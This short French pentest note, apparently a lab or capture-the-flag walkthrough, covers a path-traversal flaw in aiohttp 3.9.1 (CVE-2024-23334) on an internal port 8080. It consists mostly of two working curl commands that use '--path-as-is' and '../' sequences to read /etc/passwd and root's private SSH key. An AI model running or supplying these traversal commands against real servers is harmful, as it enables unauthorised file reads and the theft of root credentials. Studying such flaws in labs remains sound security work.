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# LFI HTTP Python 3.9

### LFI HTTP Python 3.9 /\[CVE-2024-23334]

Si nous utilisons `curl` pour afficher le contenu du port web interne 8080, nous remarquons qu'une version vulnérable de Python 3.9 est en cours d'exécution, à savoir `aiohttp/3.9.1`.

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**Lister le contenu de `/etc/passwd`** Nous pouvons lister le contenu du fichier `/etc/passwd` en utilisant la commande ci-dessous :

```bash
curl -s --path-as-is http://localhost:8080/assets/../../../../etc/passwd

```

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**Accès à la clé SSH privée de root** Étant donné que nous pouvons parcourir les fichiers du système, nous essayons maintenant tous de récupérer la clé SSH privée de l'utilisateur root :

```bash
curl -s --path-as-is http://localhost:8080/assets/../../../../root/.ssh/id_rsa

```

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